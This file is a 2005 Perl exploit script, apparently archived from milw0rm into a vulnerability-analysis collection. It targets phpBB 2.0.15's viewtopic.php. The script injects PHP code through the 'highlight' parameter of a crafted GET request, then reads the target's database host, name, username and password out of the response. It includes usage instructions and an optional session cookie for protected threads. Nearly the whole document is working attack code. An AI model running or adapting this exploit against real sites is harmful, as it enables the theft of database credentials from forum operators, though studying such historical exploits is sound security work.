lilbool/vuln-code-analysis
0
1#!/usr/bin/perl
2
3# tested and working /str0ke
4
5# ********************************************************************
6# **********************************************************************
7# **** **
8# *** ****** ******************* **
9# *** *** **** *********************** **
10# *** *** **** **** * *** ***** **
11# *** *** *** *** *** * ** ** ** **
12# *** *** *** ** ** ** ** **
13#*** *** *** *** ** ** ***** **
14#** *** *** **** ** ** ** **
15#** *** *** *** ******* ******* ** *** ** **
16#** *** *** *** ** *** *** ** ** ** ** **
17#** *** *** *** ** *** *** *** ***** **
18#** *** *** *** ** *** *** **
19#** **** *** **** *** *** **
20#** ******* **** ******** *********************************** **
21#** *** **
22#** *** **
23#** **
24#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
25#** This exploit gives the user all the details about the database **
26#** connection such as database host, username, password and **
27#** database name. **
28#** **
29#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005 **
30#** **
31#** Greetings to GvR, Jumento, PP, CKrew & friends **
32#** **
33#*****************************************************************************
34# ***************************************************************************
35
36use IO::Socket;
37
38print "+-----------------------------------------------------------------------+\r\n";
39print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
40print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
41print "+-----------------------------------------------------------------------+\r\n";
42
43if (@ARGV < 3)
44{
45print "Usage:\r\n";
46print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
47print "SERVER - Server where PhpBB is installed.\r\n";
48print "DIR - PHPBB directory or / for no directory.\r\n";
49print "THREADID - Id of an existing thread.\r\n";
50print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
51print " Use this when a thread needs authentication for viewing\r\n";
52print " You can use Firefox in combination with \"Live HTTP\r\n";
53print " Headers\" to get this cookiestring.\r\n\r\n";
54print "Example 1 (with cookiestring):\r\n";
55print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
56print "Example 2 (without cookiestring):\r\n";
57print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
58exit();
59}
60
61$serv = $ARGV[0];
62$dir = $ARGV[1];
63$threadid = $ARGV[2];
64$cookie = $ARGV[3];
65
66$serv =~ s/http:\/\///ge;
67$delimit = "GvRSecureD";
68
69$sploit = $dir . "viewtopic.php?t=";
70$sploit .= $threadid;
71$sploit .= "&highlight='.printf($delimit.";
72$sploit .= "\$dbhost.";
73$sploit .= "$delimit.";
74$sploit .= "\$dbname.";
75$sploit .= "$delimit.";
76$sploit .= "\$dbuser.";
77$sploit .= "$delimit.";
78$sploit .= "\$dbpasswd.";
79$sploit .= "$delimit).'";
80
81$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
82
83print "[+] Connecting OK\n";
84sleep(1);
85
86print "[+] Sending exploit ";
87print $sock "GET $sploit HTTP/1.1\r\n";
88print $sock "Host: $serv\r\n";
89if ( defined $cookie) {
90 print $sock "Cookie: $cookie \r\n";
91}
92print $sock "Connection: close\r\n\r\n";
93
94
95$succes = 0;
96
97while ($answer = <$sock>) {
98 $delimitIndex = index $answer, $delimit;
99 if ($delimitIndex >= 0) {
100 $succes = 1;
101 $urlIndex = index $answer, "href";
102 if ($urlIndex < 0){
103 $answer = substr($answer, length($delimit));
104 $length = 0;
105 while (length($answer) > 0) {
106 $nex = index($answer, $delimit);
107 if ($nex > 0) {
108 push(@array, substr($answer, 0, $nex));
109 $answer = substr($answer, $nex + length($delimit), length($answer));
110 } else {
111 $answer= "";
112 }
113 }
114 }
115 }
116}
117
118close($sock);
119
120if ($succes == 1) {
121 print "OK\n";
122 sleep(1);
123 print "[+] Database Host: " . $array[0] . "\n";
124 sleep(1);
125 print "[+] Database Name: " . $array[1] . "\n";
126 sleep(1);
127 print "[+] Username: " . $array[2] . "\n";
128 sleep(1);
129 print "[+] Password: " . $array[3] . "\n";
130 sleep(1);
131} else {
132 print "FAILED\n";
133}
134
135# milw0rm.com [2005-07-03]